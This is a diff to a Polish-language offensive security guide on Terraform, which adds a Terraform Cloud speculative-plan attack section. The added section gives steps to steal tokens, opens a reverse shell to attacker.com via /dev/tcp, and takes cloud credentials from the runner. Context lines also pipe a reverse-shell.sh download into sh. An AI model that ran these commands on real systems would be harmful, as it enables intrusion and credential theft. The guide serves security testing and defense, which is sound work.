diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index b89cdf8a1..7d82f4928 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,7 +6,7 @@ [Z dokumentacji:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w plikach konfiguracyjnych czytelnych dla ludzi, które można wersjonować, ponownie używać i udostępniać. Możesz następnie używać spójnego przepływu pracy do provisionowania i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS. +HashiCorp Terraform to **narzędzie do infrastruktury jako kodu**, które pozwala definiować zarówno **zasoby w chmurze, jak i lokalne** w czytelnych dla człowieka plikach konfiguracyjnych, które można wersjonować, ponownie używać i udostępniać. Możesz następnie użyć spójnego przepływu pracy do provisioningu i zarządzania całą swoją infrastrukturą przez cały jej cykl życia. Terraform może zarządzać komponentami niskiego poziomu, takimi jak zasoby obliczeniowe, pamięci i sieciowe, a także komponentami wysokiego poziomu, takimi jak wpisy DNS i funkcje SaaS. #### Jak działa Terraform? @@ -48,7 +48,7 @@ Jeśli uda ci się skompromitować plik terraform, istnieją różne sposoby, ab ### Terraform plan -Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform wywołują je cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`. +Terraform plan to **najczęściej używane polecenie** w terraform i deweloperzy/rozwiązania korzystające z terraform używają go cały czas, więc **najłatwiejszym sposobem na uzyskanie RCE** jest upewnienie się, że zainfekujesz plik konfiguracyjny terraform, który wykona dowolne polecenia w `terraform plan`. **Używając zewnętrznego dostawcy** @@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` Możesz znaleźć kod rev shell w [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod terraform rev shell w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- W zewnętrznym zasobie użyj funkcji **ref**, aby ukryć **kod rev shell terraform w gałęzi** wewnątrz repo, coś w stylu: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply @@ -112,7 +112,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, używając zewnętrznych odniesień**. +Postępuj zgodnie z **zaleceniami z poprzedniej techniki**, aby przeprowadzić ten atak w **bardziej ukryty sposób, korzystając z zewnętrznych odniesień**. ## Zrzuty sekretów @@ -124,13 +124,13 @@ value = nonsensitive(var.do_token) ``` ## Wykorzystywanie plików stanu Terraform -W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**te badania**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferują interesujące opcje, aby skorzystać z tego pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`. +W przypadku, gdy masz dostęp do zapisu plików stanu terraform, ale nie możesz zmienić kodu terraform, [**to badanie**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) oferuje kilka interesujących opcji, aby skorzystać z pliku. Nawet jeśli miałbyś dostęp do plików konfiguracyjnych, użycie wektora plików stanu jest często znacznie bardziej podstępne, ponieważ nie zostawiasz śladów w historii `git`. -### RCE w Terraform: złośliwe modyfikowanie pliku konfiguracyjnego +### RCE w Terraform: zanieczyszczenie pliku konfiguracyjnego Możliwe jest [stworzenie niestandardowego dostawcy](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) i po prostu zastąpienie jednego z dostawców w pliku stanu terraform złośliwym lub dodanie fałszywego zasobu odwołującego się do złośliwego dostawcy. -Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie proces `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełną demonstrację można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce). +Dostawca [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) opiera się na badaniach i wykorzystuje tę zasadę. Możesz dodać fałszywy zasób i określić dowolne polecenie bash, które chcesz uruchomić w atrybucie `command`. Gdy uruchomiony zostanie `terraform`, zostanie to odczytane i wykonane zarówno w krokach `terraform plan`, jak i `terraform apply`. W przypadku kroku `terraform apply`, `terraform` usunie fałszywy zasób z pliku stanu po wykonaniu twojego polecenia, sprzątając po sobie. Więcej informacji i pełna demonstracja można znaleźć w [repozytorium GitHub, które hostuje kod źródłowy dla tego dostawcy](https://github.com/offensive-actions/terraform-provider-statefile-rce). Aby użyć go bezpośrednio, wystarczy dodać poniższe w dowolnym miejscu w tablicy `resources` i dostosować atrybuty `name` i `command`: ```json @@ -199,16 +199,90 @@ data "external" "example" { program = ["sh", "-c", "whoami"] } ``` +## Terraform Cloud speculative plan RCE i eksfiltracja poświadczeń + +Ten scenariusz wykorzystuje runnerów Terraform Cloud (TFC) podczas spekulacyjnych planów do przejęcia kontroli nad docelowym kontem w chmurze. + +- Warunki wstępne: +- Ukradnij token Terraform Cloud z maszyny dewelopera. CLI przechowuje tokeny w formacie tekstowym w `~/.terraform.d/credentials.tfrc.json`. +- Token musi mieć dostęp do docelowej organizacji/obszaru roboczego i przynajmniej uprawnienia `plan`. Obszary robocze oparte na VCS blokują `apply` z CLI, ale nadal pozwalają na spekulacyjne plany. + +- Odkryj ustawienia obszaru roboczego i VCS za pomocą API TFC: +```bash +export TF_TOKEN= +curl -s -H "Authorization: Bearer $TF_TOKEN" \ +https://app.terraform.io/api/v2/organizations//workspaces/ | jq +``` +- Wywołaj wykonanie kodu podczas spekulacyjnego planu, używając zewnętrznego źródła danych i bloku "cloud" Terraform Cloud, aby celować w przestrzeń roboczą opartą na VCS: +```hcl +terraform { +cloud { +organization = "acmecorp" +workspaces { name = "gcp-infra-prod" } +} +} + +data "external" "exec" { +program = ["bash", "./rsync.sh"] +} +``` +Przykład rsync.sh do uzyskania odwrotnej powłoki na uruchamiaczu TFC: +```bash +#!/usr/bin/env bash +bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1' +``` +Uruchom spekulacyjny plan, aby wykonać program na tymczasowym runnerze: +```bash +terraform init +terraform plan +``` +- Wymień i wyeksfiltruj wstrzyknięte dane uwierzytelniające chmury z runnera. Podczas uruchamiania, TFC wstrzykuje dane uwierzytelniające dostawcy za pomocą plików i zmiennych środowiskowych: +```bash +env | grep -i gcp || true +env | grep -i aws || true +``` +Oczekiwane pliki w katalogu roboczym runnera: +- GCP: +- `tfc-google-application-credentials` (konfiguracja JSON federacji tożsamości obciążenia) +- `tfc-gcp-token` (token dostępu GCP o krótkim czasie życia) +- AWS: +- `tfc-aws-shared-config` (konfiguracja założenia roli tożsamości webowej/OIDC) +- `tfc-aws-token` (token o krótkim czasie życia; niektóre organizacje mogą używać statycznych kluczy) + +- Użyj krótkoterminowych poświadczeń poza pasmem, aby obejść bramy VCS: + +GCP (gcloud): +```bash +export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials +gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS" +gcloud config set project +``` +AWS (AWS CLI): +```bash +export AWS_CONFIG_FILE=./tfc-aws-shared-config +export AWS_PROFILE=default +aws sts get-caller-identity +``` +Z tymi poświadczeniami, atakujący mogą tworzyć/modyfikować/niszczyć zasoby bezpośrednio za pomocą natywnych interfejsów CLI, omijając przepływy pracy oparte na PR, które blokują `apply` za pośrednictwem VCS. + +- Wskazówki obronne: +- Zastosuj zasadę najmniejszych uprawnień dla użytkowników/zespołów TFC i tokenów. Audytuj członkostwa i unikaj zbyt dużych właścicieli. +- Ogranicz uprawnienia `plan` w wrażliwych przestrzeniach roboczych opartych na VCS, gdzie to możliwe. +- Wymuszaj listy dozwolonych dostawców/źródeł danych za pomocą polityk Sentinel, aby zablokować `data "external"` lub nieznanych dostawców. Zobacz wskazówki HashiCorp dotyczące filtrowania dostawców. +- Preferuj OIDC/WIF zamiast statycznych poświadczeń chmurowych; traktuj runnerów jako wrażliwe. Monitoruj spekulacyjne uruchomienia planów i nieoczekiwany egress. +- Wykrywaj eksfiltrację artefaktów poświadczeń `tfc-*` i powiadamiaj o podejrzanym użyciu programów `external` podczas planów. + + ## Narzędzia do automatycznego audytu ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki i błędy konfiguracyjne w Terraform, CloudFormation, Kubernetes i innych formatach IaC. +Snyk oferuje kompleksowe rozwiązanie do skanowania Infrastructure as Code (IaC), które wykrywa luki w zabezpieczeniach i błędne konfiguracje w Terraform, CloudFormation, Kubernetes i innych formatach IaC. - **Funkcje:** - Skanowanie w czasie rzeczywistym w poszukiwaniu luk w zabezpieczeniach i problemów z zgodnością. - Integracja z systemami kontroli wersji (GitHub, GitLab, Bitbucket). -- Zautomatyzowane prośby o poprawki. +- Zautomatyzowane pull requesty z poprawkami. - Szczegółowe porady dotyczące usuwania problemów. - **Zarejestruj się:** Utwórz konto na [Snyk](https://snyk.io/). ```bash @@ -233,14 +307,14 @@ checkov -d /path/to/folder Z [**dokumentacji**](https://github.com/terraform-compliance/cli): `terraform-compliance` to lekkie, skoncentrowane na bezpieczeństwie i zgodności ramy testowe dla terraform, które umożliwiają negatywne testowanie twojej infrastruktury jako kodu. - **zgodność:** Upewnij się, że wdrożony kod przestrzega standardów bezpieczeństwa oraz twoich własnych standardów -- **rozwój oparty na zachowaniu:** Mamy BDD dla prawie wszystkiego, dlaczego nie dla IaC? -- **przenośność:** wystarczy zainstalować z `pip` lub uruchomić przez `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/) +- **rozwój oparty na zachowaniu:** Mamy BDD prawie dla wszystkiego, dlaczego nie dla IaC? +- **przenośny:** wystarczy zainstalować go z `pip` lub uruchomić za pomocą `docker`. Zobacz [Instalacja](https://terraform-compliance.com/pages/installation/) - **przed wdrożeniem:** waliduje twój kod przed jego wdrożeniem -- **łatwość integracji:** może działać w twoim pipeline (lub w git hooks), aby zapewnić, że wszystkie wdrożenia są walidowane. -- **segregacja obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół. +- **łatwy do zintegrowania:** może działać w twoim pipeline (lub w git hooks), aby upewnić się, że wszystkie wdrożenia są walidowane. +- **podział obowiązków:** możesz przechowywać swoje testy w innym repozytorium, gdzie odpowiedzialny jest oddzielny zespół. > [!NOTE] -> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić to narzędzie. +> Niestety, jeśli kod korzysta z niektórych dostawców, do których nie masz dostępu, nie będziesz mógł wykonać `terraform plan` i uruchomić tego narzędzia. ```bash pip install terraform-compliance terraform plan -out=plan.out @@ -257,8 +331,8 @@ Z [**dokumentacji**](https://github.com/aquasecurity/tfsec): tfsec wykorzystuje - ↪️ Ocenia funkcje Terraform, np. `concat()` - 🔗 Ocenia relacje między zasobami Terraform - 🧰 Kompatybilny z Terraform CDK -- 🙅 Zastosowuje (i wzbogaca) zdefiniowane przez użytkownika polityki Rego -- 📃 Obsługuje wiele formatów wyjściowych: lovely (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. +- 🙅 Zastosowuje (i upiększa) zdefiniowane przez użytkownika polityki Rego +- 📃 Obsługuje wiele formatów wyjściowych: piękny (domyślny), JSON, SARIF, CSV, CheckStyle, JUnit, tekst, Gif. - 🛠️ Konfigurowalny (za pomocą flag CLI i/lub pliku konfiguracyjnego) - ⚡ Bardzo szybki, zdolny do szybkiego skanowania ogromnych repozytoriów ```bash @@ -269,18 +343,18 @@ tfsec /path/to/folder Znajdź luki w zabezpieczeniach, problemy z zgodnością i błędy w konfiguracji infrastruktury na wczesnym etapie cyklu rozwoju swojej infrastruktury jako kodu z **KICS** od Checkmarx. -**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie chmurowym. +**KICS** oznacza **K**eeping **I**nfrastructure as **C**ode **S**ecure, jest to projekt open source i jest niezbędny w każdym projekcie natywnym w chmurze. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` ### [Terrascan](https://github.com/tenable/terrascan) -Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastructure as Code. Terrascan pozwala na: +Z [**dokumentacji**](https://github.com/tenable/terrascan): Terrascan to statyczny analizator kodu dla Infrastruktury jako Kod. Terrascan pozwala na: -- Bezproblemowe skanowanie infrastruktury jako kodu w poszukiwaniu błędnych konfiguracji. -- Monitorowanie dostarczonej infrastruktury chmurowej pod kątem zmian konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy. +- Bezproblemowe skanowanie infrastruktury jako kod w poszukiwaniu błędnych konfiguracji. +- Monitorowanie dostarczonej infrastruktury chmurowej w celu wykrywania zmian w konfiguracji, które wprowadzają odchylenia w postawie, oraz umożliwia powrót do bezpiecznej postawy. - Wykrywanie luk w zabezpieczeniach i naruszeń zgodności. -- Łagodzenie ryzyk przed dostarczeniem infrastruktury natywnej chmurowej. +- Łagodzenie ryzyk przed dostarczeniem natywnej infrastruktury chmurowej. - Oferuje elastyczność uruchamiania lokalnie lub integracji z CI\CD. ```bash brew install terrascan @@ -292,5 +366,13 @@ brew install terrascan - [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro) - [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) - [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce) +- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/) +- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions) +- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace) +- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration) +- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc) +- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud) +- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables) +- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/) {{#include ../banners/hacktricks-training.md}}